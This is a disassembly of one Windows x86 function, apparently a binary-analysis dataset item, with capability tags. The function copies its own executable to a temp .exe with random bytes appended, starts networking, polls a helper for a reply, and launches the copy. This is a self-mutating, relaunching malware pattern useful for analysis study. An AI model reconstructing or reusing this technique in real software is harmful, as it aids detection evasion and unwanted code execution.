Function at 0x4013c0
Capabilities:
Create process on windows
Get common file path
Initialize winsock library
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4d4
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x4d0], eax
push ebx
xor eax, eax
push esi
push edi
mov dword [esp + 0x1a1], eax
mov dword [esp + 0x1a5], eax
mov dword [esp + 0x1a9], eax
mov dword [esp + 0x1ad], eax
mov dword [esp + 0x1b1], eax
mov dword [esp + 0x1b5], eax
mov dword [esp + 0x1b9], eax
push 0x104
lea eax, [esp + 0x2cc]
push eax
push 0
mov byte [esp + 0x1ac], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.MSVCR100.dll_printf]
lea ecx, [esp + 0x2c8]
push ecx
push 0x402560
call edi
lea edx, [esp + 0x2d0]
push 0x402578
push edx
call dword [sym.imp.MSVCR100.dll_fopen]
mov esi, eax
add esp, 0x10
test esi, esi
jne 0x401488
lea eax, [esp + 0x2c8]
push eax
push 0x40257c
call edi
add esp, 8
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x4d0]
xor ecx, esp
call fcn.0040176f
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.MSVCR100.dll_ftell]
push esi
call ebx
add esp, 4
push 2
push 0
push esi
mov edi, eax
call dword [sym.imp.MSVCR100.dll_fseek]
add esp, 0xc
push esi
call ebx
add esp, 4
push 0
push edi
push esi
mov ebx, eax
call dword [sym.imp.MSVCR100.dll_fseek]
add esp, 0xc
push ebx
push 0x4024e0
call dword [sym.imp.MSVCR100.dll_printf]
lea eax, [ebx + 0x10]
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.MSVCR100.dll_malloc]
add esp, 0xc
push esi
push 1
mov edi, eax
push ebx
push edi
call dword [sym.imp.MSVCR100.dll_fread]
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 0x14
push 0
call dword [sym.imp.MSVCR100.dll__time64]
add esp, 4
push eax
call dword [sym.imp.MSVCR100.dll_srand]
add esp, 4
xor esi, esi
add ebx, edi
call dword [sym.imp.MSVCR100.dll_rand]
and eax, 0x800000ff
jns 0x40151a
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebx + esi], al
inc esi
cmp esi, 0x10
jl 0x401506
lea ecx, [esp + 0x3d0]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp eax, 0x104
ja 0x401748
test eax, eax
je 0x401748
lea edx, [esp + 0x1c0]
push edx
push 0
push 0x402590
lea eax, [esp + 0x3dc]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x401591
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CloseHandle]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 7
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x4d0]
xor ecx, esp
call fcn.0040176f
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x1c0]
lea edx, [eax + 1]
jmp 0x4015a0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4015a0
sub eax, edx
mov bl, 0x65
mov byte [esp + eax + 0x1bf], bl
lea eax, [esp + 0x1c0]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4015c0
sub eax, edx
mov byte [esp + eax + 0x1be], 0x78
lea eax, [esp + 0x1c0]
lea ecx, [eax + 1]
jmp 0x4015e0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4015e0
sub eax, ecx
lea ecx, [esp + 0x1c0]
push 0x402598
push ecx
mov byte [esp + eax + 0x1c5], bl
call dword [sym.imp.MSVCR100.dll_fopen]
mov edx, dword [esp + 0x14]
mov esi, eax
push esi
push 1
push edx
push edi
call dword [sym.imp.MSVCR100.dll_fwrite]
mov edi, dword [sym.imp.MSVCR100.dll_printf]
lea ecx, [esp + 0x1d8]
push ecx
push eax
push 0x40259c
call edi
add esp, 0x24
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
lea edx, [esp + 0x10]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401652
push 0x4025b4
jmp 0x401657
push 0x4025d4
call edi
add esp, 4
mov dword [esp + 0xc], 0xb
call fcn.00401000
mov esi, eax
cmp esi, 0xffffffff
jne 0x40167a
push 0x402604
call edi
add esp, 4
push esi
push 0x402630
call edi
push esi
lea ebx, [esp + 0x1ac]
call fcn.00401190
add esp, 0xc
mov ecx, ebx
mov eax, 0x40264c
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4016c0
test dl, dl
je 0x4016bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4016c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4016a0
xor eax, eax
jmp 0x4016c5
sbb eax, eax
sbb eax, 0xffffffff
push esi
push 0x4025f4
test eax, eax
je 0x4016d6
push 0x402668
jmp 0x4016db
push 0x402680
call edi
add esp, 0xc
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0xc]
jne 0x401664
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [esp + 0x1c0]
push eax
push 0x402690
call edi
add esp, 8
push 1
push 0
push 0
lea ecx, [esp + 0x1cc]
push ecx
push 0x4026ac
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea esi, [esp + 0x1c0]
call fcn.00401320
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x4d0]
xor ecx, esp
call fcn.0040176f
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x4dc]
neg eax
pop edi
sbb eax, eax
pop esi
and eax, 0xfffffffb
pop ebx
xor ecx, esp
add eax, 7
call fcn.0040176f
mov esp, ebp
pop ebp
ret